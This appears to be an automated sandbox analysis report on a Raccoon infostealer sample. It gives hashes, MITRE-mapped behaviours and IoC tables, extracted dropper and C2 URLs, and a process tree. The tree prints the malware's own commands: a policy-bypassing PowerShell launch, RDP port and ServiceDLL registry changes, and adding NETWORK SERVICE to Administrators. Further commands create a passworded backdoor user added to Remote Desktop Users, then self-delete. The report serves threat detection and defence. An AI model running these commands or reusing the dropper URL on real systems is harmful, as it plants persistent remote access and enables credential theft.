raccoon | 3fb2264cea79f2a81e87bb20db95fd812a32fd8cd3feff546c280ecd7911be0c

Analysis

max time kernel
95s
max time network
141s
platform
windows10_x64
resource
win10v20210408
submitted
02-06-2021 21:46

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General

Target

c36d9bc4f9569bf91605097139297c0b.exe
Size

569KB
MD5

c36d9bc4f9569bf91605097139297c0b
SHA1

b542a1f9fc55299c79ec87f7454e3fcd092718db
SHA256

3fb2264cea79f2a81e87bb20db95fd812a32fd8cd3feff546c280ecd7911be0c
SHA512

b9817eeeda058f3937fb6af8ff21a9854d22096326ff0163e6dd8fd553634a6c84c9a9cf15dbdcba185f83c22931d47602c7db275d5b1d5cf6aaa35d34b9a518

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
19	1248	powershell.exe
21	1248	powershell.exe
22	1248	powershell.exe
23	1248	powershell.exe
25	1248	powershell.exe
27	1248	powershell.exe
29	1248	powershell.exe
31	1248	powershell.exe
33	1248	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2164	hjgZv8wiF2.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000000068b-237.dat	upx
behavioral2/files/0x000a000000000695-238.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
596	c36d9bc4f9569bf91605097139297c0b.exe
596	c36d9bc4f9569bf91605097139297c0b.exe
596	c36d9bc4f9569bf91605097139297c0b.exe
596	c36d9bc4f9569bf91605097139297c0b.exe
596	c36d9bc4f9569bf91605097139297c0b.exe
596	c36d9bc4f9569bf91605097139297c0b.exe
528	Process not Found
528	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5AF3.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_15i0dpmk.oem.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5B14.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5B25.tmp	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5A94.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_cfbgq3ol.ox3.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5B04.tmp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4088	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3316	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3520	powershell.exe
3520	powershell.exe
3520	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
928	powershell.exe
928	powershell.exe
928	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
3520	powershell.exe
3520	powershell.exe
3520	powershell.exe
1248	powershell.exe
1248	powershell.exe
1248	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
640	Process not Found
640	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeIncreaseQuotaPrivilege	3384	powershell.exe
Token: SeSecurityPrivilege	3384	powershell.exe
Token: SeTakeOwnershipPrivilege	3384	powershell.exe
Token: SeLoadDriverPrivilege	3384	powershell.exe
Token: SeSystemProfilePrivilege	3384	powershell.exe
Token: SeSystemtimePrivilege	3384	powershell.exe
Token: SeProfSingleProcessPrivilege	3384	powershell.exe
Token: SeIncBasePriorityPrivilege	3384	powershell.exe
Token: SeCreatePagefilePrivilege	3384	powershell.exe
Token: SeBackupPrivilege	3384	powershell.exe
Token: SeRestorePrivilege	3384	powershell.exe
Token: SeShutdownPrivilege	3384	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeSystemEnvironmentPrivilege	3384	powershell.exe
Token: SeRemoteShutdownPrivilege	3384	powershell.exe
Token: SeUndockPrivilege	3384	powershell.exe
Token: SeManageVolumePrivilege	3384	powershell.exe
Token: 33	3384	powershell.exe
Token: 34	3384	powershell.exe
Token: 35	3384	powershell.exe
Token: 36	3384	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeIncreaseQuotaPrivilege	928	powershell.exe
Token: SeSecurityPrivilege	928	powershell.exe
Token: SeTakeOwnershipPrivilege	928	powershell.exe
Token: SeLoadDriverPrivilege	928	powershell.exe
Token: SeSystemProfilePrivilege	928	powershell.exe
Token: SeSystemtimePrivilege	928	powershell.exe
Token: SeProfSingleProcessPrivilege	928	powershell.exe
Token: SeIncBasePriorityPrivilege	928	powershell.exe
Token: SeCreatePagefilePrivilege	928	powershell.exe
Token: SeBackupPrivilege	928	powershell.exe
Token: SeRestorePrivilege	928	powershell.exe
Token: SeShutdownPrivilege	928	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeSystemEnvironmentPrivilege	928	powershell.exe
Token: SeRemoteShutdownPrivilege	928	powershell.exe
Token: SeUndockPrivilege	928	powershell.exe
Token: SeManageVolumePrivilege	928	powershell.exe
Token: 33	928	powershell.exe
Token: 34	928	powershell.exe
Token: 35	928	powershell.exe
Token: 36	928	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeIncreaseQuotaPrivilege	1596	powershell.exe
Token: SeSecurityPrivilege	1596	powershell.exe
Token: SeTakeOwnershipPrivilege	1596	powershell.exe
Token: SeLoadDriverPrivilege	1596	powershell.exe
Token: SeSystemProfilePrivilege	1596	powershell.exe
Token: SeSystemtimePrivilege	1596	powershell.exe
Token: SeProfSingleProcessPrivilege	1596	powershell.exe
Token: SeIncBasePriorityPrivilege	1596	powershell.exe
Token: SeCreatePagefilePrivilege	1596	powershell.exe
Token: SeBackupPrivilege	1596	powershell.exe
Token: SeRestorePrivilege	1596	powershell.exe
Token: SeShutdownPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeSystemEnvironmentPrivilege	1596	powershell.exe
Token: SeRemoteShutdownPrivilege	1596	powershell.exe
Token: SeUndockPrivilege	1596	powershell.exe
Token: SeManageVolumePrivilege	1596	powershell.exe
Token: 33	1596	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 596 wrote to memory of 2164	596	c36d9bc4f9569bf91605097139297c0b.exe	78
PID 596 wrote to memory of 2164	596	c36d9bc4f9569bf91605097139297c0b.exe	78
PID 596 wrote to memory of 2040	596	c36d9bc4f9569bf91605097139297c0b.exe	79
PID 596 wrote to memory of 2040	596	c36d9bc4f9569bf91605097139297c0b.exe	79
PID 596 wrote to memory of 2040	596	c36d9bc4f9569bf91605097139297c0b.exe	79
PID 2040 wrote to memory of 4088	2040	cmd.exe	81
PID 2040 wrote to memory of 4088	2040	cmd.exe	81
PID 2040 wrote to memory of 4088	2040	cmd.exe	81
PID 2164 wrote to memory of 3520	2164	hjgZv8wiF2.exe	82
PID 2164 wrote to memory of 3520	2164	hjgZv8wiF2.exe	82
PID 3520 wrote to memory of 2340	3520	powershell.exe	84
PID 3520 wrote to memory of 2340	3520	powershell.exe	84
PID 2340 wrote to memory of 1292	2340	csc.exe	85
PID 2340 wrote to memory of 1292	2340	csc.exe	85
PID 3520 wrote to memory of 3384	3520	powershell.exe	86
PID 3520 wrote to memory of 3384	3520	powershell.exe	86
PID 3520 wrote to memory of 928	3520	powershell.exe	89
PID 3520 wrote to memory of 928	3520	powershell.exe	89
PID 3520 wrote to memory of 1596	3520	powershell.exe	91
PID 3520 wrote to memory of 1596	3520	powershell.exe	91
PID 3520 wrote to memory of 1116	3520	powershell.exe	94
PID 3520 wrote to memory of 1116	3520	powershell.exe	94
PID 3520 wrote to memory of 3316	3520	powershell.exe	95
PID 3520 wrote to memory of 3316	3520	powershell.exe	95
PID 3520 wrote to memory of 708	3520	powershell.exe	96
PID 3520 wrote to memory of 708	3520	powershell.exe	96
PID 3520 wrote to memory of 1036	3520	powershell.exe	97
PID 3520 wrote to memory of 1036	3520	powershell.exe	97
PID 1036 wrote to memory of 3552	1036	net.exe	98
PID 1036 wrote to memory of 3552	1036	net.exe	98
PID 3520 wrote to memory of 3492	3520	powershell.exe	99
PID 3520 wrote to memory of 3492	3520	powershell.exe	99
PID 3492 wrote to memory of 2340	3492	cmd.exe	100
PID 3492 wrote to memory of 2340	3492	cmd.exe	100
PID 2340 wrote to memory of 1980	2340	cmd.exe	101
PID 2340 wrote to memory of 1980	2340	cmd.exe	101
PID 1980 wrote to memory of 988	1980	net.exe	102
PID 1980 wrote to memory of 988	1980	net.exe	102
PID 3520 wrote to memory of 2904	3520	powershell.exe	103
PID 3520 wrote to memory of 2904	3520	powershell.exe	103
PID 2904 wrote to memory of 2016	2904	cmd.exe	104
PID 2904 wrote to memory of 2016	2904	cmd.exe	104
PID 2016 wrote to memory of 3752	2016	cmd.exe	105
PID 2016 wrote to memory of 3752	2016	cmd.exe	105
PID 3752 wrote to memory of 2772	3752	net.exe	106
PID 3752 wrote to memory of 2772	3752	net.exe	106
PID 1584 wrote to memory of 3384	1584	cmd.exe	110
PID 1584 wrote to memory of 3384	1584	cmd.exe	110
PID 3384 wrote to memory of 3100	3384	net.exe	111
PID 3384 wrote to memory of 3100	3384	net.exe	111
PID 3004 wrote to memory of 672	3004	cmd.exe	114
PID 3004 wrote to memory of 672	3004	cmd.exe	114
PID 672 wrote to memory of 3920	672	net.exe	115
PID 672 wrote to memory of 3920	672	net.exe	115
PID 2452 wrote to memory of 744	2452	cmd.exe	118
PID 2452 wrote to memory of 744	2452	cmd.exe	118
PID 744 wrote to memory of 3332	744	net.exe	119
PID 744 wrote to memory of 3332	744	net.exe	119
PID 1476 wrote to memory of 1016	1476	cmd.exe	122
PID 1476 wrote to memory of 1016	1476	cmd.exe	122
PID 1016 wrote to memory of 3372	1016	net.exe	123
PID 1016 wrote to memory of 3372	1016	net.exe	123
PID 2312 wrote to memory of 1340	2312	cmd.exe	126
PID 2312 wrote to memory of 1340	2312	cmd.exe	126

C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe
"C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:596
- C:\Users\Admin\AppData\Local\Temp\hjgZv8wiF2.exe
  "C:\Users\Admin\AppData\Local\Temp\hjgZv8wiF2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3520
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4q05ldxw\4q05ldxw.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2340
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFFF1.tmp" "c:\Users\Admin\AppData\Local\Temp\4q05ldxw\CSCD5CF2FE3AAA47E395D85D7187BBC331.TMP"
        5⤵
        
        PID:1292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1596
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1116
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3316
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:708
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3552
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3492
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2340
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1980
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:988
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2016
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3752
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:2772
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1664
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:952
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:4088

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1584
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:3100

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc MwNwqaTg /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Windows\system32\net.exe
  net.exe user wgautilacc MwNwqaTg /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc MwNwqaTg /add
    3⤵
    PID:3920

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2452
